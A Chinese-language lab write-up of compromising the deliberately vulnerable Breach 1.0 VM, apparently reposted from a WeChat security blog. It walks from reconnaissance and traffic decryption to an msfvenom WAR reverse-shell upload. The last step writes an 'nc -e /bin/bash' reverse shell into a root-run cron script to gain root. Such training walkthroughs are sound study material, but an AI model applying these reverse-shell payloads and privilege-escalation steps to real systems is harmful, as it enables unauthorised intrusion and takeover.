1
准备工作
安装breach1.0虚拟机,将本地路由器的c段改为192.168.110.*。
2
信息收集过程
先扫一下端口,发现开了防御,扫出一堆没用的(ps: IDS IPS)
nmap -v -A 192.168.110.140
启动kali,扫一下目录,发现什么都没有,还是看一下网站吧
┌──(root㉿yefeng)-[~]└─# dirb http://192.168.110.140/DIRB v2.22 By The Dark RaverSTART_TIME: Tue Feb 18 22:58:02 2025URL_BASE: http://192.168.110.140/WORDLIST_FILES: /usr/share/dirb/wordlists/common.txtGENERATED WORDS: 4612 ---- Scanning URL: http://192.168.110.140/ ----==> DIRECTORY: http://192.168.110.140/images/ + http://192.168.110.140/index.html (CODE:200|SIZE:1098) + http://192.168.110.140/server-status (CODE:403|SIZE:295) ---- Entering directory: http://192.168.110.140/images/ ----(!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) -----------------END_TIME: Tue Feb 18 22:58:29 2025DOWNLOADED: 4612 - FOUND: 2
打开主页后,看一下源代码,发现有一串base64,对base64进行解码
通过两次解码,解出一串数字,疑似账号密码
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJocGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRhpgibbons:damnitfeel$goodtobeagang$ta
接下来就是乱点,有什么点什么,能看的东西都要看一下
找到登陆页面,把刚才得到的账号密码输入,发现是一个CMS,在exloit-db找一下有没有相关漏洞,经过测试后发现漏洞暂不可用
还是登陆之后到处点,看看有没有可以利用的
看了一下url,有个uid,测试了一下,最多可以看到3,只有三个用户可以看,我们是uid=2
点左面的Banners,发现有目录泄漏,有admin目录,但在url中无法访问
回主页面看一眼邮件,他说安装了IDS/IPS系统,我说怎么nmap扫出一堆没用的端口
挨个点开来看看,这里有个链接,打开之后,下载出一个keysotre,这就代表着,我们可以拿到这个靶场的证书和密钥对了
KeyStore是一个存储库,可用于存储一系列密钥 (Secret Key)、密钥对 (Key Pair) 或证书(Certificate)。
先把这个放到一边,再看看有没有什么可用内容,这个好像是跟SSL证书有关的东西
哟,pacp包,不仅如此还泄漏了keystore的账号密码,这样就能解密了,然后下载出来,稍后进入Wireshark,我们先把刚才下载的keystore解开
大致意思: 我上传了我们红队重现攻击的 pcap 文件。我不确定他们使用了什么诡计,但我无法读取该文件。我尝试了 C|EH 研究中的每个 nmap 开关,但就是无法弄清楚他们告诉我别名、storepassword 和 keypassword 都设置为“tomcat”。这有用吗?有人知道这是什么吗?我想我们现在是安全加密的?-Peter ps 我接下来的两天要去钓鱼,无法访问电子邮件或电话。
2
开始测试
-list列出密钥库中的条目 -keystore 密钥库名称
% keytool -list -keystore /Users/user/Downloads/keystore 输入密钥库口令:tomcat密钥库类型: JKS密钥库提供方: SUN您的密钥库包含 1 个条目tomcat, 2016年5月21日, PrivateKeyEntry, 证书指纹 (SHA-256): F0:4A:E8:7F:52:C1:78:B4:14:2B:4D:D9:1A:34:31:F7:19:0A:29:F6:0C:85:00:0B:58:3A:37:20:6C:7E:E6:31Warning:JKS 密钥库使用专用格式。建议使用 "keytool -importkeystore -srckeystore /Users/zhangyuxin/Downloads/keystore -destkeystore /Users/zhangyuxin/Downloads/keystore -deststoretype pkcs12" 迁移到行业标准格式 PKCS12。
在反弹的条目中可以看见,建议迁移为PKCS12格式,可以看见倒入成功了,并且在目录下生成成功
% keytool -importkeystore -srckeystore /Users/zhangyuxin/Downloads/keystore -destkeystore /Users/zhangyuxin/Downloads/jks.p12 -deststoretype pkcs12正在将密钥库 /Users/zhangyuxin/Downloads/keystore 导入到 /Users/zhangyuxin/Downloads/jks.p12...输入目标密钥库口令: tomcat再次输入新口令: tomcat 输入源密钥库口令: tomcat已成功导入别名 tomcat 的条目。已完成导入命令: 1 个条目成功导入, 0 个条目失败或取消
接下来分析一下流量包,打开流量包,全是加密状态,把刚才解密的密钥库配置进去
分析过程
解密后追踪http流,可以看到请求头中这个URL没有访问过,我们使用谷歌访问这个url,发现不能访问,火狐也是不能够访问,弹出连接不安全,这个时候使用burpsuite代理就可以进入了,但是弹出了要我账号密码,测试了之前的账号密码发现不对,密钥可能存在数据包里
回到Wireshark往下翻,分析数据包后发现包里有个Web基础认证
对这个包进行base64解密,得出账号密码
尝试登陆,发现登陆成功,成功进入
发现有个文件上传的位置,进行webshell上传,传一个jsp木马,发现被拦截,修改格式,传一个txt的,还是不行,换压缩包,改war格式压缩包,上传之后,发现木马被删。
草,MSF启动!先msfconsole启动后放在一边,检索一下payload
% msfvenom -l payloads | grep java java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager java/shell_reverse_tcp Connect back to attacker and spawn a command shell
随便选一个payload生成war包木马
% msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.10 lport=8899 -f war -o shell.war Payload size: 6214 bytesFinal size of war file: 6214 bytesSaved as: shell.war
回到msfconsole,开启监听模式
接下来把war包上传,成功了,回到msf看一下成功上线
进入sessions1,成功上线
然后就是shell,id,ls,whoami,然后把shell写入内存
python -c 'import pty;pty.spawn("/bin/bash")'
记住这串代码,目前权限是tomcat6,想办法提权,看一下网站指纹
试试进入/var/www/html看看,发现impress就在这,又进去5446看看,有几个不知名文件,打开看看
芜湖,发现数据库,而且空密码,直接进去看看
发现user,直接select
ps:无用数据在下文中已删除
mysql> show databases;show databases;+--------------------+| Database |+--------------------+| mysql |+--------------------+4 rows inset (0.00 sec)mysql> use mysqlmysql> show tables;+---------------------------+| Tables_in_mysql |+---------------------------+| user |+---------------------------+
乱的一批
milton这个密码应该是md5直接去解密看看,cmd5查出来收费,看看别的吧,密码是thelaststraw,直接su提权
成功提权
看一下历史命令,还得继续提权
看源代码?图片隐写?
啊啊啊,010启动!直接翻到最下面,这是不是密码啊
从刚才历史命令里试一下,看看是哪个用户,穷举法,成功登陆
他说有个防黑客的脚本,三分钟执行一次
利用tee追加一个nc反弹
echo"nc -e /bin/bash 192.168.110.10 7777" > test.txtcat test.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
好的,在另一个终端开启nc监听,成功获取root
good!这应该就是flag了,传到网站上看看
额呵呵
总结
在开始时,使用nmap扫描后,看着就是做了防护,然后经典看源代码,发现base64,解了两次后获取web账号密码,进入后到处点做信息收集,邮件里说部署了IDS/IPS,我说怎么扫不出来,然后发现了keystore和pacp包,keystore的密码已经在公告里发现了,给他解密后生成一个p12文件,打开数据包发现被加密了,正好有这个p12文件,导入wireshark进行解密,追踪HTTP数据流,分析一下数据包发现了tomcat的账号密码,登陆后,发现可以用war包上传,那就启动msf,生成一个war木马包,上传后点击获取shell,然后进一步提权在提权获取root权限,就这!
写这个文章其实挺曲折的,我两台笔记本,breach安装在了windows笔记本中,是192.168的网段,mac的pd20装的kali是10网段,最后在tee追加shell的时候,一直弹不出shell,弄到凌晨四点,我寻思看看是不是网络的问题,10网段可以ping通192.168但是反过来就不行了,给我气死了
下期再见
原文始发于微信公众号(夜风信安):Breach1.0靶场-学习笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论